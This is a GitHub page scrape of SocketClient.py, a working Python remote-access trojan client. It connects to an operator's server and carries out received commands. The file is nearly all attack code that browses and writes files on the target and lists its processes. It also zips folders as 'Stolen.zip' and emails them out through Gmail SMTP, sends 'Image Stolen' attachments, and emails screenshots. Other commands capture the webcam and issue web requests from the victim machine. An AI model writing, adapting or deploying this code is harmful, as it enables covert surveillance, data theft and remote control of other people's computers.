-
Notifications
You must be signed in to change notification settings - Fork 0
/
SocketClient.py
240 lines (219 loc) · 7.47 KB
/
SocketClient.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
import os
import socket
from cv2 import VideoCapture, imwrite
import requests
import smtplib
import wmi
import shutil
import pyscreenshot as imagegrabber
from bs4 import BeautifulSoup
from cv2 import *
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.application import MIMEApplication
SERVER = 'smtp.gmail.com'
PORT = 587
FROM = '' # Your gmail account from you want a mail
TO = '' # Your gmail account on which you want to get that mail
PASS = '' # Password of your FROM gmail account
# Connecting
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "" # Use your private IP if the server's in LAN, otherwise use your public IP.
port = 8080
sock.connect((host, port))
print("")
print("Connected to the server successfully")
except Exception as e:
print(e)
# Accepting the commands that are maked in the server's scirpt we are connected to
while True:
command = sock.recv(1024)
command = command.decode()
print("Command Recieved")
if command == "cwd":
files = os.getcwd()
files = str(files)
sock.send(files.encode())
elif command == "exit":
print("Connection Aborted")
break
elif command == "dir" or command == "ls":
files = os.listdir()
files = str(files)
sock.send(files.encode())
elif 'cd' in command and command != "cd .." and command != "cd ../..":
try:
os.chdir(command.split("*")[1])
sock.send(os.getcwd().encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif 'readlines' in command:
with open(command.split("*")[1], "r") as f:
files = f.readlines()
files = str(files)
sock.send(files.encode())
elif 'nul > ' in command:
with open(command.split("*")[1], "w") as f:
f.write(command.split("*")[2])
files = "File Created"
sock.send(files.encode())
elif "image" in command:
try:
path = command.split("*")[1]
name = command.split("*")[2]
with open(path, "rb") as f:
img_data = f.read()
msg = MIMEMultipart()
msg['Subject'] = "Image Stolen"
msg['From'] = FROM
msg['To'] = TO
image = MIMEImage(img_data, name=os.path.basename(name))
msg.attach(image)
server = smtplib.SMTP(SERVER, PORT)
server.set_debuglevel(1)
server.ehlo()
server.starttls()
server.login(FROM, PASS)
server.sendmail(FROM, TO, msg.as_string())
server.quit()
files = "Email Sent Successfully"
sock.send(files.encode())
except Exception as e:
files = e
files = str(files)
sock.send(files.encode())
elif "folder" in command.split("*")[0]:
try:
fullpath = command.split("*")[2]
path = command.split("*")[1]
os.chdir(path)
shutil.make_archive("Stolen", "zip", fullpath)
os.chmod(path, 0o444)
msg = MIMEMultipart()
msg['Subject'] = "Target's Folder"
msg['From'] = FROM
msg['To'] = TO
with open(f"{path}/Stolen.zip", "rb") as f:
msg.attach(MIMEApplication(f.read(), Name="Stolen.zip"))
server = smtplib.SMTP(SERVER, PORT)
server.set_debuglevel(1)
server.ehlo()
server.starttls()
server.login(FROM, PASS)
server.sendmail(FROM, TO, msg.as_string())
server.quit()
files = "Email Send Successfully"
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif command == "cd ..":
try:
current = os.getcwd().split("\\")
current.pop()
path = '/'.join([str(item) for item in current])
os.chdir(path)
files = os.getcwd()
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif command == "cd ../..":
try:
current = os.getcwd().split("\\")
current.pop()
current.pop()
path = '/'.join([str(item) for item in current])
os.chdir(path)
files = os.getcwd()
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif "mkdir" in command:
os.mkdir(command.split(" ")[1])
files = "Directory Created"
sock.send(files.encode())
elif "get request" in command:
url = command.split("*")[1]
r = command.split("*")[2]
try:
response = requests.get(url)
if r == '1' or r == 'content':
content = response.content
soup = BeautifulSoup(content, 'html.parser')
files = str(soup)
sock.send(files.encode())
elif r == '2' or r == 'status':
status = response.status_code
files = str(status)
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif "post request" in command:
url = command.split("*")[1]
data = command.split("*")[2]
try:
response = requests.post(url, data)
files = str(response)
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif "drive" in command:
name = command.split(" ")[1]
try:
os.chdir(f"{name}:/")
files = str(os.getcwd())
sock.send(files.encode())
except Exception as e:
files = str(e)
sock.send(files.encode())
elif command == "tasklist":
f = wmi.WMI()
files = []
for process in f.Win32_Process():
files.append(f"{process.ProcessId:<10} {process.Name}\n")
files = str(files)
sock.send(files.encode())
elif "screenshot" in command:
path = os.getcwd()
name = command.split(" ")[1]
imagee = imagegrabber.grab()
imagee.save(f"{path}\\{name}")
with open(f"{path}\\{name}", "rb") as f:
img_data = f.read()
msg = MIMEMultipart()
msg['Subject'] = "Image Captured"
msg['From'] = FROM
msg['To'] = TO
image = MIMEImage(img_data, name=os.path.basename(name))
msg.attach(image)
server = smtplib.SMTP(SERVER, PORT)
server.set_debuglevel(1)
server.ehlo()
server.starttls()
server.login(FROM, PASS)
server.sendmail(FROM, TO, msg.as_string())
server.quit()
files = "Email Sent Successfully"
sock.send(files.encode())
elif "webcam" in command:
name = command.split(" ")[1]
cam = VideoCapture(0)
result, image = cam.read()
try:
imwrite(name, image)
files = "Image Captured!"
sock.send(files.encode())
except:
files = ("No image detected. Please Try Again")
sock.send(files.encode())
elif "print" in command:
content = command.split("*")[1]
files = content
files = str(files)
sock.send(files.encode())